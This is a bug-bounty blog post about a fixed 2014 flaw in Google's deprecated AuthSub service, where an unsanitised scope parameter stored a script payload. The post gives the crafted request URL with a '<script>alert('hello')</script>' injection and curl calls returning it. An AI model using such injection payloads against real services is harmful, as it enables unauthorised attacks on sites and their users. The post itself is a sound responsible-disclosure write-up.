Skip to main content

Bounty leftover Part #2 (target Google)

In my previous blog post I mentioned a following post about some vulnerability I found in https://accounts.google.com/.
As said, motivated from my little success that I got finding a vulnerability in some obsolete authorization service in Facebook I thought I might have the same luck with Google :)
Well it turned out this was the case...
Giving a look at the Older Protocols in the Google Accounts Authentication and Authorization page something that immediately caught my attention was the AuthSub (deprecated) flow.
Now, I am not going to describe here the flow, it is enough saying that it is a pre-OAuth flow that Google used to give some access delegation using some sort of tokens...
The problem was related with the scope parameter in www.google.com/accounts/AuthSubRequest. It accepted concatenation of string after a valid scope. 
E.g. 

https://accounts.google.com/AuthSubRequest?next=http%3A%2F%2Flocalhost%3A8080%2Fa&scope=http%3A%2F%2Fwww.google.com%2Fcalendar%2Ffeeds%2F/%3Cscript%3Ealert%28%27hello%27%29%3C/script%3E&session=1&secure=0&hd=default

So far so good.
The next natural step would have been to use the https://developers.google.com/accounts/docs/AuthSub#AuthSubTokenInfo to get the scope back with the given stored javascript.
At a first sigh this looked like unexploitable since as per doc this would require a request header, namely 

curl -H "Authorization:AuthSub token="1/XD7eCi3_
2mXSfDHXLtImg0Oc1nDoZCFKL4dLrqzVYVk"" -H "application/x-www-form-urlencoded" https://www.google.com/accounts/AuthSubTokenInfo

The reality though was that it existed also another version of the service that accepts request parameter (and the cherry on top was that this service also runs in https://accounts.google.com that is the most rewarded according to https://www.google.ch/about/appsecurity/reward-program/).

So

curl -v https://accounts.google.com/accounts/AuthSubTokenInfo?oauth_token=1/BWAFgricOqhNMPTcHsPy0MRlKbMWE-HNMjlLtT0NNPA

> User-Agent: curl/7.30.0

> Host: www.google.com

> Accept: */*

>

< HTTP/1.1 200 OK

< Content-Type: text/plain; charset=UTF-8

< X-Frame-Options: DENY

< Date: Thu, 07 Aug 2014 20:10:51 GMT

< Expires: Thu, 07 Aug 2014 20:10:51 GMT

< Cache-Control: private, max-age=0

< X-Content-Type-Options: nosniff

< X-XSS-Protection: 1; mode=block

< Content-Length: 106

< * Server GSE is not blacklisted

< Server: GSE

< Alternate-Protocol: 443:quic

<

Target=localhost

Secure=false

Scope=http://www.google.com/calendar/feeds//<script>alert('hello')</script>

Some observations:

  • the scope is not sanitized (so he can lead to a XSS ) but
  • no sniff is present
  • Content Type is text/plain
To conclude this is the attack scenario


Once reported Google fixed it pretty soon and also got a reward for it... Not bad for a left over :p

Thanks Google security.
Labels:

Comments

Post a Comment

Popular posts from this blog

OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)

Usual Mandatory Disclaimer: IANAC (I am not a cryptographer) so I might likely end up writing a bunch of mistakes in this blog post... tl;dr The OpenSSL 1.0.2 releases suffer from a Key Recovery Attack on DH small subgroups . This issue got assigned CVE-2016-0701 with a severity of High and OpenSSL 1.0.2 users should upgrade to 1.0.2f. If an application is using DH configured with parameters based on primes that are not "safe" or not Lim-Lee (as the one in RFC 5114 ) and either Static DH ciphersuites are used or DHE ciphersuites with the default OpenSSL configuration (in particular SSL_OP_SINGLE_DH_USE is not set) then is vulnerable to this attack.  It is believed that many popular applications (e.g. Apache mod_ssl) do set the  SSL_OP_SINGLE_DH_USE option and would therefore not be at risk (for DHE ciphersuites), they still might be for Static DH ciphersuites. Introduction So if you are still here it means you wanna know more. And here is the thing. In my last bl
23 comments
Read more

Critical vulnerability in JSON Web Encryption (JWE) - RFC 7516

tl;dr if you are using go-jose , node-jose , jose2go , Nimbus JOSE+JWT or jose4j with ECDH-ES please update to the latest version. RFC 7516 aka JSON Web Encryption (JWE) hence many software libraries implementing this specification used to suffer from a classic Invalid Curve Attack . This would allow an attacker to completely recover the secret key of a party using JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES) , where the sender could extract receiver’s private key. Premise In this blog post I assume you are already knowledgeable about elliptic curves and their use in cryptography. If not Nick Sullivan 's A (Relatively Easy To Understand) Primer on Elliptic Curve Cryptography or Andrea Corbellini's series Elliptic Curve Cryptography: finite fields and discrete logarithms are great starting points. Then if you further want to climb the elliptic learning curve including the related attacks you might also want to visit https://s
2 comments
Read more

The Curious Case of WebCrypto Diffie-Hellman on Firefox - Small Subgroups Key Recovery Attack on DH

tl;dr Mozilla Firefox prior to version 72 suffers from Small Subgroups Key Recovery Attack on DH in the WebCrypto 's API. The Firefox's team fixed the issue r emoving completely support for DH over finite fields (that is not in the WebCrypto standard). If you find this interesting read further below. Premise In this blog post I assume you are already knowledgeable about Diffie-Hellman over finite fields and related attacks. If not I recommend to read any cryptography book that covers public key cryptography. Here is a really cool simple explanation by David Wong : I found a cooler way to explain Diffie-Hellman :D pic.twitter.com/DlPvGwZbto — David Wong (@cryptodavidw) January 4, 2020 If you want more details about Small Subgroups Key Recovery Attack on DH I covered some background in one of my previous post ( OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701) ). There is also an academic pape r where we examine the issue with some more rigors.
2 comments
Read more